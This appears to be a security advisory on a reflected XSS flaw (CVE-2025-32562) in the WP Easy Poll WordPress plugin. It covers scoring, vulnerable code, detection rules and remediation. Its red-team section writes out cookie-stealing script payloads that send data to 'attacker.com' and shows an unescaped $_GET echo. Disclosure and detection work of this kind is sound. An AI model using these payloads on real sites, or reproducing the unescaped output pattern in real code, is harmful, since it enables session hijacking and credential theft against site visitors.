CVE-2025-32562

Executive Summary

CVE-2025-32562 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Easy Poll by aviplugins.com, affecting all versions up to and including 2.2.9. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the vulnerable WordPress site.

Given the WordPress ecosystem context, this plugin is typically deployed on shared hosting or managed WordPress environments. The lack of a vendor patch and the low EPSS score (0.0%) suggest limited active exploitation, but the risk remains for unpatched installations.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. No package manager (NPM, PyPI, Go, Ruby) is involved. The supply chain risk is moderate due to the vendor’s unresponsiveness and lack of patch.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. Although user interaction is required, the low complexity and network-based attack vector make it attractive for phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the wp-easy-poll-afo plugin’s handling of HTTP GET parameters. When a user visits a crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter like ?poll_id=<script>alert(1)</script> would be echoed back in the HTML response, executing the script in the victim’s browser.

The core issue is in the plugin’s shortcode or AJAX handler that processes poll-related requests. The input is not validated against an allowlist of expected values, nor is it escaped before being rendered.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.2.9):

// In wp-easy-poll-afo.php or similar
$poll_id = $_GET['poll_id'];
echo "<div id='poll-$poll_id'>";

Patched Code (hypothetical):

$poll_id = sanitize_text_field($_GET['poll_id']);
echo "<div id='poll-" . esc_attr($poll_id) . "'>";

The vulnerable code directly uses $_GET['poll_id'] without sanitization or escaping. The patched version uses sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP Easy Poll <= 2.2.9 installed and activated.
• Ability to craft a malicious URL.

Exploit Steps:

1. Identify a vulnerable endpoint (e.g., /?poll_id=INJECT).
2. Craft a payload: /?poll_id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. Encode the URL for phishing: http://target.com/?poll_id=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
4. Send the link to the victim via email or social engineering.

Example Payload:

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team

Detection Steps:

• Monitor web server logs for unusual poll_id parameters containing <script>, onerror, or javascript:.
• Deploy a WAF rule to block reflected XSS patterns in query strings.
• Use browser-based XSS filters (X-XSS-Protection header).

Lab Setup:

• Use a local WordPress instance with Docker.
• Install WP Easy Poll 2.2.9 from the plugin repository.
• Access the vulnerable page with a crafted payload to confirm reflection.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /?poll_id= containing <script>, %3Cscript%3E, or similar encoded XSS payloads.
  • Outbound connections to attacker-controlled domains from the victim’s browser (e.g., attacker.com/log).

• File IOCs:

  • Modified .htaccess or wp-config.php if the attacker gains admin access.
  • Suspicious entries in wp-content/plugins/wp-easy-poll-afo/ files.

• Log IOCs:

  • Web server logs showing poll_id with non-numeric or script-like values.
  • Referer headers pointing to phishing pages.

Detection Engineering

YARA Rule

rule CVE_2025_32562_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting WP Easy Poll plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-32562"
    strings:
        $xss_payload = /poll_id=[^&]*<script[^>]*>/
        $xss_encoded = /poll_id=[^&]*%3Cscript%3E/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WP Easy Poll
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in the poll_id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'poll_id=<script'
            - 'poll_id=%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-32562 WP Easy Poll Reflected XSS Attempt";
    flow:to_server,established;
    content:"poll_id="; http_uri;
    content:"<script"; http_uri; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-32562;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block poll_id parameters containing <script> or %3Cscript%3E.
3. Add HTTP security headers: X-XSS-Protection: 1; mode=block and Content-Security-Policy: default-src 'self'.

Long-Term Fix:

• Replace the plugin with an alternative that is actively maintained.
• If custom development is required, apply input sanitization (sanitize_text_field()) and output escaping (esc_attr(), esc_html()) in all plugin files.

Vendor Contact:

• Attempt to contact aviplugins.com via their support channels. If unresponsive, consider reporting to the WordPress Plugin Security Team.

Valters IT
Securing Digital Frontiers